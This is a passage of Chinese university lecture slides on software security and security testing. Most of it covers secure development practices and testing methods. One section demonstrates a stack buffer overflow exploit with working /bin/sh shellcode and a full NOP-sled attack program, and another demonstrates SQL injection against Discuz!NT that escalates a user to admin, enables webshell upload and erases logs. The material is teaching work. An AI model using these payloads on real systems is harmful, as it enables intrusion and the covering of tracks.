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软件安全

什么是软件安全？

软件安全就是使软件在受到恶意攻击的情
 形下依然能够继续正确运行的工程化软件
 思想

--- Gary McGraw, Cigital公司首席技术官
 和董事会成员

---《Software Security: Building Security 
In》或《软件安全：使安全成为软件开发

 必需的部分》

http://buildsecurityin.us-cert.gov/portal/

http://buildsecurityin.us-cert.gov/portal/
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软件安全

软件安全 vs. 安全的软件，不是一回事

软件安全是一种系统级的问题，需要考虑
 安全机制（比如访问控制）和基于安全的
 设计（比如使攻击难以实施的健壮设计）

软件安全必须成为完整的软件开发生命周
 期方法的一部分
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软件安全的含义

软件安全是计算机安全的一个分支

软件安全是计算机安全的关键

软件安全问题的根源是软件存在弱点

用工程化的方法来实施软件安全
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软件安全是计算机安全的一个分支

现代社会中，我们生活所需的一切似乎都离不
 开计算机系统，我们的电力、供水、交通、通
 讯、金融等等，都依赖于计算机系统的安全运
 行。但是，计算机系统并不安全，它潜伏着严
 重的不安全性、脆弱性和危险性

如何保障计算机系统的安全就成为我们这个时
 代的一个根本问题，计算机安全这门学科也因
 此应运而生，并成为近二十年来最热门的学科
 之一

计算机安全的研究范畴包括硬件安全、软件安
 全、数据安全、运行安全和网络安全
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软件安全是计算机安全的关键

由于病毒主要是通过网络传播，而黑客主要是
 通过网络来进行攻击，因此，多年来人们一直
 认为网络安全是计算机安全的主要问题。但是
 在网络安全上的巨大投入却没有从根本上解决
 计算机安全问题

软件是计算机安全的大问题，危害计算机安全
 的绝大部分因素都与软件相关

软件的不稳定导致系统崩溃和数据丢失

病毒攻击的是软件的缺陷

黑客利用的是软件的弱点

机密和隐私的泄漏是因为软件存在漏洞

计算机安全中的首要和关键问题是软件问题
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软件安全问题的根源是软件存在弱点

现有方法并不能解决软件安全问题
反病毒程序和防火墙之类的保护程序

密码学之类的信息加密技术

假设有一个程序，其密码验证是用加密算
 法来实现的，它安装在一个被防火墙保护
 的系统中，系统中安装了反病毒程序

这个程序是否健壮，可能存在溢出类弱点

没有谁能保证防火墙和反病毒软件是完全可
 靠的，它们也可能存在缓冲区溢出之类的弱
 点
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软件安全问题的根源是软件存在弱点

软件安全问题的根源就是我们所依赖的软
 件存在太多的安全弱点，而不断增加的软
 件复杂性和可扩展性更是火上浇油般地助
 长了这种情形

解决软件安全问题的根本方法就是改善我
 们建造软件的方式，以建造健壮的软件，
 使其在遭受恶意攻击时依然能够安全可靠
 和正确运行
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用工程化的方法来实施软件安全

在整个软件开发生命周期中都要确保将安
 全作为软件的一个有机组成部分

软件安全的三根支柱：应用风险管理、软
 件安全的接触点和知识
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应用风险管理

风险管理是一种战略性方法，即将追踪和
 减轻风险作为一种贯穿整个生命周期的指
 导方针

成功的风险管理其实就是一种业务级中的
 决策支持工具；一种收集必需的数据并基
 于弱点、威胁、影响和概率的知识作出正
 确判断的方法
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软件安全的接触点

接触点，即在软件开发生命周期中保障软
 件安全的一套最优方法，是一种战术性方
 法

七个接触点：代码审核、体系结构风险分
 析、渗透测试、基于风险的安全测试、滥
 用案例、安全需求和安全操作

“安全的”开发生命周期能够在每一个开发
 阶段上尽可能地避免和消除漏洞



14
软件安全性测试

软件安全的接触点

应用于不同的软件工件的软件安全最优方
 法（根据传统的瀑布模型来布局）
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软件安全的知识

知识，包括收集、压缩和共享能用于为软
 件安全方法提供坚实基础的安全知识

由于软件安全是一门新的学科，及时总结
 知识，并用知识来教育所有相关的人员，
 对确保软件安全是至关重要的

在整个开发生命周期中综合应用这些方
 法，就能从设计、编码和测试等各个层面

 上消除软件中的安全弱点，从制度上、方
 法上最大限度地保障软件安全
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软件安全的知识

知识是特定领域中相互关联的信息 --- 能
 够通过一定的方法和过程得以运用的信息

例如：C和C++中的一组潜在的安全缺陷
 是信息；在静态分析工具中的这样的信息
 就是知识

软件安全知识可以归成为七种（原则、方
 针、规则、弱点、攻击程序、攻击模式和
 历史风险），并划分为三个知识类（说明
 性知识、诊断性知识和历史知识）
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软件安全的知识

软件安全知识类映射为不同的软件工件和
 软件安全最优方法
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软件安全的最优方法

实施软件安全要求对常规建造软件的方式
 做一些修改

这些修改并不是根本性的、翻天覆地的或
 者费用高得难以承受

采用一组简单明了的最优工程方法，这些
 方法可以结合到现有的开发过程中

在软件开发生命周期中集成软件安全最优
 方法（接触点），是软件安全的三根支柱
 的核心
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软件安全的最优方法
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七个接触点

1．代码审核

2．体系结构风险分析

3．渗透测试

4．基于风险的安全测试

5．滥用案例

6．安全需求

7．安全操作
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1．代码审核
工件：代码
发现的风险的例子：在代码的第42行中发现缓冲区溢出
所有的软件都会至少产生一种工件——代码。在代码级

 中，关注的焦点是实现缺陷，特别是那些静态分析工具
 就更是如此，它们通过扫描源代码能发现一般的弱点

代码审核是一种实现安全的软件的必要而不充分的方法。
 安全缺陷（特别是在C和C++中的安全缺陷）是显而易

 见的，而体系结构瑕疵则是真正棘手的问题
单独进行代码审核是一种特别有用的方法，但是，由于

 这种类型的审核只能确定缺陷，因此，即使是最好的代
 码审核也只能发现大约50%的安全问题。仅仅盯着代码
 是很难（并且几乎是不可能）发现体系结构问题的。现
 代的系统都由数百万行代码构成，这种方法就更不能奏
 效了。实现软件安全的完整方法是包括代码审核和体系
 结构分析的有机组合
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2．体系结构风险分析

工件：设计和说明书

发现的风险的例子：对关键数据的区分和保护很糟糕；
 Web服务未能验证调用代码及其用户，并且没有基于正
 确的上下文来作出访问控制决定

在设计和体系结构级中，系统必须是连贯一致的，并提
 供统一的安全防线。设计人员、架构人员和分析人员应
 该用文档清晰地记录各种前提假设，并确定可能的攻击。

 在基于说明书的体系结构阶段和类层次的设计阶段，体
 系结构风险分析都是必需的。此时，安全分析人员揭示
 体系结构瑕疵，对它们评级，并开始进行降低风险的活
 动。忽视这个级别的风险分析会在日后引起严重的问题

注意，在软件生命周期的所有阶段中都可能出现风险，
 因此，强烈地建议采用持续的风险管理方法，并不断地
 进行追踪和监视风险的活动
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3．渗透测试
工件：处于环境中的系统
发现的风险的例子：在Web接口中处理程序状态的糟糕

 方法
渗透测试非常有用，如果根据体系结构风险分析来设计测

 试，效果就更好。渗透测试的优点是，它给出了对处于真
 实运行环境中的实际部署的软件的很好的理解。但是，没
 有考虑软件体系结构的任何这类测试，或许都不能揭示关
 于软件风险的任何有用的信息。不能通过预构的应用程序
 安全测试工具所实施的封闭黑箱测试的软件肯定是非常糟
 糕的。因此，通过低层次的渗透测试，只能揭示出一点点
 软件的真实安全状况的信息，但是未能通过封闭的渗透测
 试，则说明你确实处于很糟糕的状况中

渗透测试与进行测试的人员有关，这是它的一个缺陷。应
 该特别小心那些“改过自新的黑客”，他们改过自新的唯一

 证明只有一些自我描述 。还要小心，网络渗透测试与应
 用程序或者软件所面临的渗透测试并不相同
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4．基于风险的安全测试

工件：单元和系统

发现的风险的例子：由于处理数据保护风险而导致可能
 的大量数据泄漏

安全测试必须包含两种策略：（1）用标准功能测试技
 术来进行的安全功能性测试；（2）以攻击模式、风险
 分析结果和滥用案例为基础的基于风险的安全测试。一
 份好的安全测试计划包含这两种策略

即便你直接探测一个系统，安全问题也并不总是显而易
 见的，因此，标准的质量保障方法可能不能揭示所有严
 重的安全问题。QA是为了保证所有好的事情的发生

安全测试是为了保证坏的事情不会发生。像攻击者一样
 地考虑问题很重要。因此，用关于软件体系结构、一般
 性攻击和攻击者的心态的知识来指导安全测试是极为重
 要的
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5．滥用案例

工件：需求和使用案例

发现的风险的例子：易受广为人知的攻
 击——篡改攻击的影响

建造滥用案例是深入攻击者的心理的好办
 法。类似于使用案例，滥用案例描述了系
 统在受到攻击时的行为表现；建造滥用案
 例要求明确地说明应该保护什么、免受谁
 的攻击，以及保护多长时间
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6．安全需求

工件：需求

发现的风险的例子：没有明确描述数据保
 护要求

必须明确地在需求级中加入安全考量。好
 的安全需求包括明显的功能安全（比如

 说，使用实用的加密方法）和突然出现的
 特性（滥用案例和攻击模式可以很好地捕
 获它们）。确定和维护安全需求的方法是
 非常复杂的，应该灵活地处理



28
软件安全性测试

7．安全操作

工件：实际部署的软件
发现的风险的例子：没有足够的日志记录以追

 踪某个已知的攻击者
软件安全可以从网络安全中借鉴很多方法。经

 过有效组合的安全操作允许和鼓励网络安全专
 业人员积极应用接触点，提供开发团队可能缺
 乏的经验和安全智慧。在增强系统的安全状况
 的过程中，身经百战的操作人员认真地设置和
 监视实际部署的系统。不论设计和实现的力度
 如何，都会出现攻击，因此，理解导致攻击成
 功的软件的行为就是一种重要的防御技术。通
 过理解攻击和攻击程序而获得的知识应该再应
 用到软件开发中
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软件安全性测试

安全性（security）测试。它是指在测试
 软件系统中对危险防止和危险处理设施进

 行的测试，以验证其是否有效

功能性测试：软件做它应该做的事

应用输入，验证正确的输出

不正确的输出/行为 缺陷(Bug)

安全性测试：软件不做它不应该做的事

应用输入，验证没有不安全的事情发生

安全性缺陷（漏洞，脆弱性，Vulnerability）
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安全性测试的主要工作

全面检验软件在软件需求规格说明中规定的防
 止危险状态措施的有效性和在每一个危险状态
 下的反应

对软件设计中用于提高安全性的结构、算法、
 容错、冗余、中断处理等方案，进行针对性测
 试

在异常条件下测试软件，以表明不会因可能的
 单个或多个输入错误而导致不安全状态

用错误的安全性关键操作进行测试，以验证系
 统对这些操作错误的反应

对安全性关键的软件单元和软件部件，要单独
 进行加强的测试，以确认其满足安全性需求
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安全性测试的目标

通常的目标
内存溢出

SQL injection/XSS
各种输入验证型问题

进一步的目标
访问控制

信息泄露

不充分的随机数

鉴别与加密

…



33
软件安全性测试

安全性测试的方法学

White Box
Use commercial statistic analysis tool to 
audit the source code
Coverity/Fortify/Etc..

Black Box
Fault injection
Dumb Fuzzing

Gray Box
Smart Fuzzing (Fuzzing with deeply 
knowledge of the product)
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安全性测试的方法

白/灰盒测试

对软件工程文档/源代码/二进制代码进行静态
 分析/审核

对运行时系统进行动态监测

例子：污点传播分析/符号执行

功能验证

功能验证是采用软件测试当中的黑盒测试方
 法，对涉及安全的软件功能，如：用户管理
 模块、权限管理、加密系统、认证系统等进
 行测试，主要验证上述功能是否有效
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安全性测试的方法

漏洞扫描
安全漏洞扫描主要是借助于特定的漏洞扫描器完成

 的。通过使用漏洞扫描器，系统管理员能够发现系
 统存在的安全漏洞，从而在系统安全中及时修补漏
 洞的措施

分为两种类型：主机漏洞扫描器是指在系统本地运
 行检测系统漏洞的程序；网络漏洞扫描器是指基于
 网络远程检测目标网络和主机系统漏洞的程序

模拟攻击
对于安全测试来说，模拟攻击测试是一组特殊的极

 端的测试方法，以模拟攻击来验证软件系统的安全
 防护能力

例子：Fuzzing，使用大量半有效的数据作为应用程
 序的输入，以程序是否出现异常为标志，来发现应

 用程序中可能存在的安全漏洞
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安全测试与评估



37
软件安全性测试

插曲：安全最优方法 vs. 安全性测试
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安全性测试举例

根据系统安全指标不同，测试策略也不同

举例

用户认证安全的测试

系统网络安全的测试

数据库安全的测试
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用户认证安全的测试

明确区分系统中不同用户权限

系统中会不会出现用户冲突

系统会不会因用户的权限的改变造成混乱

用户登陆密码是否是可见、可复制

是否可以通过绝对途径登陆系统（拷贝用
 户登陆后的链接直接进入系统）

用户退出系统后是否删除了所有鉴权标
 记，是否可以使用后退键而不通过输入口

 令进入系统
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系统网络安全的测试

测试采取的防护措施是否正确装配好，有
 关系统的补丁是否打上

模拟非授权攻击，看防护系统是否坚固

采用成熟的网络漏洞检查工具检查系统相
 关漏洞（例如NBSI系列和IPhacker）

采用各种木马检查工具检查系统木马情况

采用各种防外挂工具检查系统各组程序的
 外挂漏洞



41
软件安全性测试

数据库安全的测试

系统数据是否机密（比如对银行系统，这
 一点就特别重要，一般的网站就没有太高
 要求）

系统数据的完整性（数据的不完整，对于
 系统的功能实现有障碍）

系统数据可管理性

系统数据的独立性

系统数据可备份和恢复能力（数据备份是
 否完整，可否恢复，恢复是否可以完整）



42
软件安全性测试

本章内容

软件安全

软件安全的最优方法

软件安全性测试
插曲：安全最优方法 vs. 安全性测试

安全性测试的目标 --- 漏洞

相关网站和工具

实验
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漏洞

漏洞是在硬件、软件、协议的具体实现或系统安全
 策略上存在的缺陷，从而可以使攻击者能够在未授
 权的情况下访问或破坏系统

漏洞与具体的系统环境有关
在不同种类的软、硬件设备，同种设备的不同版本之间，

 由不同设备构成的不同系统之间，以及同种系统在不同的

 设置条件下，都会存在各自不同的安全漏洞问题

漏洞与时间紧密相关
早先被发现的漏洞会不断被系统供应商发布的补丁软件修

 补，或在以后发布的新版系统中得以纠正

在新版系统纠正了旧版本中具有漏洞的同时，也会引入一

 些新的漏洞和错误

0day：没有公开因而也没有补丁的漏洞
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漏洞类型分布

Vulnerability Type Distributions in CVE (2001- 
2006)

http://cwe.mitre.org/documents/vuln- 
trends/index.html

OWASP Top 10 for 2010
OWASP: Open Web Application Security Project
http://www.owasp.org/index.php/Category:OWASP 
_Top_Ten_Project

2010 CWE/SANS Top 25 Most Dangerous 
Programming Errors

http://cwe.mitre.org/top25/index.html

http://cwe.mitre.org/documents/vuln-trends/index.html
http://cwe.mitre.org/documents/vuln-trends/index.html
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
http://cwe.mitre.org/top25/index.html
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Vulnerability Type Distributions in CVE
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Vulnerability Type Distributions in CVE
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OWASP Top 10 Application Security 
Risks - 2010
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OWASP Top 10 Application Security 
Risks - 2010
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2010 CWE/SANS Top 25 Most 
Dangerous Programming Errors
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2010 CWE/SANS Top 25 Most 
Dangerous Programming Errors



51
软件安全性测试

利用漏洞进行攻击的三个步骤

漏洞挖掘

漏洞分析

漏洞利用

两个例子

缓冲区溢出漏洞攻击

SQL注入漏洞攻击
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漏洞挖掘

安全性漏洞往往不会对软件本身功能造成
 很大影响，因此很难被功能性测试发现

从技术角度讲，漏洞挖掘实际上是一种高
 级的测试（安全性测试）

学术界一直热衷于使用静态分析的方法寻找
 源代码中的漏洞（白盒测试）

工程界，不管是安全专家还是攻击者，普遍
 采用的漏洞挖掘方法是Fuzzing（黑盒测试）

最新趋势：Directed Testing / Smart Fuzzing 
（灰盒测试）
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漏洞分析

当捕捉到软件中一个严重的异常时，需要
 具备一定的漏洞分析能力来研究漏洞

POC(proof of concept)：概念性验证代码

分析方法
调试：gdb，OllyDBG，SoftICE
二进制比对：BinDiff
反汇编：IDA Pro
反编译：Hex-Rays
一些逆向工具：http://www.pediy.com/tools.htm

http://www.pediy.com/tools.htm
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漏洞利用

Shellcode
利用特定漏洞的代码，一般可以获取权限

一般是作为数据发送给受攻击服务的

典型步骤
Shellcode植入

Shellcode地址定位

使程序执行流程（EIP）跳转到shellcode入
 口处

覆盖返回地址

修改函数指针

跳转到载体指令的中部（ 恶意代码）
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缓冲区溢出

Stack overflow
Heap/bss overflow
Format string vulnerability
Integer overflow

原理不再一一赘述，讲解一个例子
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一个栈溢出和攻击的演示

缓冲区溢出攻击

Shellcode解析

攻击程序

运行平台
Linux debian 2.4.18-bf2.4 #1 Son Apr 14 
09:53:28 CEST 2002 i686 unknown
Gcc 3.3.5



57
软件安全性测试

缺陷程序

#include <stdio.h>
#include <string.h>

void SayHello(char* name)
{

char tmpName[60];

// buffer overflow
strcpy(tmpName, name);

printf("Hello %s\n", tmpName);
}

int main(int argc, char** argv)
{

if (argc != 2) {
printf("Usage: hello <name>.\n");
return 1;

}

SayHello(argv[1]);
return 0;

}

hello.c
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运行情况

dayin@debian:~$ gcc –g –o hello hello.c
dayin@debian:~$ ./hello `perl -e 'print "A" x 60'`
Hello 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AA
dayin@debian:~$ ./hello `perl -e 'print "A" x 71'`
Hello 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAA
dayin@debian:~$ ./hello `perl -e 'print "A" x 72'`
Hello 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAA
Segmentation fault
dayin@debian:~$ 
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gdb
file  装入想要调试的可执行文件
kill  终止正在调试的程序
list  列出产生执行文件的源代码的一部分
next  执行一行源代码但不进入函数内部
step  执行一行源代码而且进入函数内部
run  执行当前被调试的程序
quit  终止 gdb
watch  使你能监视一个变量的值而不管它何时被改变
break  在代码里设置断点, 这将使程序执行到这里时被挂起
make  使你能不退出 gdb 就可以重新产生可执行文件
shell  使你能不离开 gdb 就执行 UNIX shell 命令
info all

ebp 栈底
esp 栈顶
eip CPU下次要执行的指令的地址
esi 寻址数据段DS 
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调试情况

dayin@debian:~$ gdb hello
(gdb) l
(gdb) b 9
(gdb) r `perl -e 'print "A" x 72'`
(gdb) x/8 $esp
0xbffffc90:     0x40090fd0      0xbffffe2f      0x4008978e      0x4014a880
0xbffffca0:     0x4014a870      0xbffffcb4      0x40030c85      0x4014a880
(gdb) x tmpName
0xbffffca0:     0x4014a870
(gdb) x/4 $ebp
0xbffffce8:     0xbffffcf8      0x0804842c 0xbffffe41      0xbffffd54

// $ebp – tmpName = 0xbffffce8 – 0xbffffca0 = 72

返回地址$ebp
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(gdb) disas main
Dump of assembler code for function main:
0x080483f1 <main+0>:    push   %ebp
0x080483f2 <main+1>:    mov %esp,%ebp
0x080483f4 <main+3>:    sub    $0x8,%esp
0x080483f7 <main+6>:    and    $0xfffffff0,%esp
0x080483fa <main+9>:    mov $0x0,%eax
0x080483ff <main+14>:   sub    %eax,%esp
0x08048401 <main+16>:   cmpl $0x2,0x8(%ebp)
0x08048405 <main+20>:   je     0x804841c <main+43>
0x08048407 <main+22>:   movl $0x804855e,(%esp)
0x0804840e <main+29>:   call   0x80482d8 <_init+56>
0x08048413 <main+34>:   movl $0x1,0xfffffffc(%ebp)
0x0804841a <main+41>:   jmp 0x8048433 <main+66>
0x0804841c <main+43>:   mov 0xc(%ebp),%eax
0x0804841f <main+46>:   add    $0x4,%eax
0x08048422 <main+49>:   mov (%eax),%eax
0x08048424 <main+51>:   mov %eax,(%esp)
0x08048427 <main+54>:   call 0x80483c4 <SayHello>
0x0804842c <main+59>:   movl $0x0,0xfffffffc(%ebp)
0x08048433 <main+66>:   mov 0xfffffffc(%ebp),%eax
0x08048436 <main+69>:   leave  
0x08048437 <main+70>:   ret    
End of assembler dump.

反汇编

返回地址
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调试情况

(gdb) x/24 $esp
0xbffffc90:     0x40090fd0      0xbffffe2f      0x4008978e      0x4014a880
0xbffffca0:     0x4014a870      0xbffffcb4      0x40030c85      0x4014a880
0xbffffcb0:     0xbffffd60      0xbffffcd4      0x40030d3f      0x40016ca0
0xbffffcc0:     0x08048440      0x08049660      0xbffffcd8      0x080482b5
0xbffffcd0:     0x40017074      0x40017af0      0xbffffcf8      0x0804845b
0xbffffce0:     0x4014a880      0x080484a0      0xbffffcf8      0x0804842c
(gdb) n  //执行“strcpy(tmpName, name);”
11          printf("Hello %s\n", tmpName);
(gdb) x/24 $esp
0xbffffc90:     0xbffffca0      0xbffffe41      0x4008978e      0x4014a880
0xbffffca0:     0x41414141      0x41414141 0x41414141 0x41414141
0xbffffcb0:     0x41414141      0x41414141 0x41414141 0x41414141
0xbffffcc0:     0x41414141      0x41414141 0x41414141 0x41414141
0xbffffcd0:     0x41414141      0x41414141 0x41414141 0x41414141
0xbffffce0:     0x41414141      0x41414141 0xbffffc00 0x0804842c

$ebp内容被覆盖
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如果精心选择数据…

???????????????????
………..????
0x????????

0xNNNNNNNN
0x????????
………...
………...

Our-Codes

ESP
SayHello栈帧

retip

0xNNNNNNNN

低址

高址
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如何选择这些数据？

几个问题：
SayHello函数局部变量区大小？

NNNNNNNN如何确定？

Our-codes该怎样写

输入缓冲区内容不能包含0
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局部变量区问题

0xNNNNNNNN
………..NNNN
0xNNNNNNNN
0xNNNNNNNN
0xNNNNNNNN
0xNNNNNNNN
0xNNNNNNNN

Our-Codes

ESP
SayHello栈帧

retip

0xNNNNNNNN
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代码起始地址如何确定？

0xNNNNNNNN
………..NNNN
0xNNNNNNNN
0xNNNNNNNN
0xNNNNNNNN
0xNNNNNNNN
0xNNNNNNNN

Our-Codes

ESP
SayHello栈帧

retip

0xNNNNNNNN
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代码起始地址如何确定

问题已转化为用ESP加上某一偏移

该偏移不需要精确

ESP如何确定呢

用同样选项，插入一段代码，重新编译

使用调试工具跟踪应用程序

编一小程序，打印出运行时栈顶位置

在同样环境下，不同进程之间栈位置距离不会太
 远
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为什么偏移不需要精确？

0xNNNNNNNN
………..NNNN
0xNNNNNNNN
0xNNNNNNNN
0xNNNNNNNN
0xNNNNNNNN
……….NNNNN

NOP
NOP
……..
NOP

Real-Codes

ESP
SayHello栈帧

retip

0xNNNNNNNN
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Shellcode编写

execve - execute program
int execve(const char *filename, char 
*const argv [], char *const envp[]);

execve("pointer to string /bin/sh", 
"pointer to /bin/sh", "pointer to NULL"); 
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jmp short callit          ; jmp trick as explained above

doit:

pop           esi             ; esi now represents the location of our string
xor            eax, eax          ; make eax 0
mov byte  [esi + 7], al ; terminate /bin/sh 
lea             ebx, [esi] ; get the adress of /bin/sh and put it in register ebx 
mov long  [esi + 8], ebx   ; put the value of ebx (the address of /bin/sh) 

; in AAAA ([esi +8]) 
mov long  [esi + 12], eax ; put NULL in BBBB (remember xor eax, eax) 
mov byte  al, 0x0b          ; Execution time! we use syscall 0x0b which 

; represents execve
mov           ebx, esi          ; argument one... ratatata /bin/sh
lea             ecx, [esi + 8]  ; argument two... ratatata our pointer to /bin/sh
lea             edx, [esi + 12] ; argument three... ratataa our pointer to NULL
int             0x80

callit:
call            doit              ; part of the jmp trick to get the location of db

db              '/bin/sh#AAAABBBB'

Shellcode编写



71
软件安全性测试

Shellcode二进制形式

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42";
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完整的攻击hello的程序（1）
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char shell_code[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42";

#define DEFAULT_OFFSET  0
#define BUFFER_SIZE     1024

unsigned long get_esp()
{

__asm__("movl %esp, %eax");
}

hello_test.c
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完整的攻击hello的程序（2）
main(int argc, char** argv)
{

char* buff;
char* ptr;
unsigned long* addr_ptr;
unsigned long esp;
int i, ofs;

if (argc == 1)
ofs = DEFAULT_OFFSET;

else
ofs = atoi(argv[1]);

ptr = buff = malloc(4 * BUFFER_SIZE);

hello_test.c
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完整的攻击hello的程序（3）
/* Fill in with addresses */
addr_ptr = (unsigned long*)ptr;
esp = get_esp();
printf("ESP = %08x\n", esp);
for (i = 0; i < 100; i++)

*(addr_ptr++) = esp + ofs;

/* Fill the start of shell buffer with NOPs */
ptr = (char*)addr_ptr;
memset(ptr,0x90,BUFFER_SIZE-strlen(shell_code));
ptr += BUFFER_SIZE - strlen(shell_code);

/* And then the shell code */
memcpy(ptr, shell_code, strlen(shell_code));
ptr += strlen(shell_code);

*ptr = 0;

execl("./hello", "hello", buff, NULL);
} hello_test.c
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运行情况

dayin@debian:~$ gcc –g –o hello_test hello_test.c
dayin@debian:~$ ./hello_test
ESP = bffffd18
Hello 
ýÿ¿ýÿ¿ýÿ¿ý¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ýÿ¿ý
...   //省略
��������������������������������������������������������������������������������������������������������������������������������

...  //省略
ë^1ÀˆF�‰‰F
...  //省略
‰ó��V
...  //省略
Í€èáÿÿÿ/bin/sh#AAAABBBB
sh-2.05b$
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调试情况

dayin@debian:~$ gdb hello_test
(gdb) b 52
Breakpoint 1 at 0x80485e5: file hello_test.c, line 52.
(gdb) r
Starting program: /home/dayin/hello_test
ESP = bffffd18

Breakpoint 1, main (argc=1, argv=0xbffffda4) at hello_test.c:52
52 execl("./hello", "hello", buff, NULL);
(gdb) x/360 buff
0x80498f8:   0xbffffd18   0xbffffd18 0xbffffd18 0xbffffd18
…
0x8049a78:   0xbffffd18   0xbffffd18 0xbffffd18 0xbffffd18
0x8049a88:   0x90909090   0x90909090 0x90909090 0x90909090
…
0x8049e48:   0x90909090   0x90909090 0x90909090 0xeb909090
0x8049e58:   0xc0315e1a   0x8d074688   0x085e891e   0xb00c4689
0x8049e68:   0x8df3890b   0x568d084e   0xe880cd0c   0xffffffe1
0x8049e78:   0x6e69622f   0x2368732f   0x41414141   0x42424242
0x8049e88:   0x00000000   0x00000000 0x00000000 0x00000000

shellcode

NOP区域

粗略代码

 起始地址
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SQL注入

SQL注入

一般存在于http://xxx.xxx.xxx/abc.asp?id=XX 
等带有参数的动态网页

没有对外界输入进行必要的过滤

原理不赘述，以一个例子来说明
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SQL注入漏洞和攻击的例子

Sql注入漏洞

网页挂马

运行平台
Windows 2003 Server(自带IIS 6.0)
SQL Server 2005
Discuz!NT 2.5
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漏洞起因

漏洞是由showuser.aspx文件引起的，该
 文件的作用是显示论坛的会员列表。由于
 脚本中对于用来用户排序的ordertype参

 数未经过滤而直接查询数据库，攻击者可
 以通过精心构造的ordertype参数进行数

 据库的写操作。
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漏洞出错提示
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漏洞触发路径
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漏洞代码分析
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漏洞修复分析
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漏洞攻击步骤

新建一个普通用户账号 infosec
将infosec提升为管理员权限

http://localhost/showuser.aspx?ordertype=desc;update dnt_users set 
adminid='1',groupid='1' where username='infosec';--

更改上传格式：jpg aspx
http://localhost/showuser.aspx?ordertype=desc;update 
dnt_attachtypes set extension='aspx' where extension='jpg';--

通过附件上传网页木马
获得webshell

清除痕迹
http://localhost/showuser.aspx?ordertype=desc;update 
dnt_attachtypes set extension='jpg' where extension='asp';--
http://localhost/showuser.aspx?ordertype=desc;delete from 
dnt_adminvisitlog where username='hacker';--
http://localhost/showuser.aspx?ordertype=desc;update dnt_users set 
adminid='',groupid='' where username='hacker';--
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获得webshell
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本章内容

软件安全

软件安全的最优方法

软件安全性测试
插曲：安全最优方法 vs. 安全性测试

安全性测试的目标 --- 漏洞

相关网站和工具

实验
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相关网站和工具

工欲善其事，必先利其器！

选择使用合适的安全工具，是确保软件/ 
系统安全的捷径
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安全工具

Software Testing FAQs
http://testingfaqs.org/

Top 100 Network Security Tools
http://sectools.org

Static Analysis Tools
http://en.wikipedia.org/wiki/List_of_tools_for_static_ 
code_analysis
http://testingfaqs.org/t-static.html
http://spinroot.com/static/

Dynamic analysis Tools
http://en.wikipedia.org/wiki/Dynamic_program_anal 
ysis

http://testingfaqs.org/
http://sectools.org/
http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis
http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis
http://testingfaqs.org/t-static.html
http://spinroot.com/static/
http://en.wikipedia.org/wiki/Dynamic_program_analysis
http://en.wikipedia.org/wiki/Dynamic_program_analysis
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安全漏洞

http://seclists.org/
http://www.securityfocus.com/vulnerabilit 
ies
http://www.milw0rm.com/
http://blogs.technet.com/b/gcrsec/
http://cve.mitre.org/
http://www.cnnvd.org.cn

http://seclists.org/
http://www.securityfocus.com/vulnerabilities
http://www.securityfocus.com/vulnerabilities
http://www.milw0rm.com/
http://blogs.technet.com/b/gcrsec/
http://cve.mitre.org/
http://www.cnnvd.org.cn/
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本章内容

软件安全

软件安全的最优方法

软件安全性测试
插曲：安全最优方法 vs. 安全性测试

安全性测试的目标 --- 漏洞

相关网站和工具

实验
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实验

IBM Rational PurifyPlus --- IBM Rational 
的测试工具包，主要包括：

内存和资源检查工具：Purify
性能瓶颈检查工具：Quantify
代码覆盖测试工具：PureCoverage

实验是选做的。具体见相关实验材料。
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小结

I hear and I forget;
I see and I remember; 
I do and I understand.

不闻不若闻之，闻之不若见之，

见之不若知之，知之不若行之。

学至于行之而止矣。

-- 《荀子·儒效》
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谢谢！
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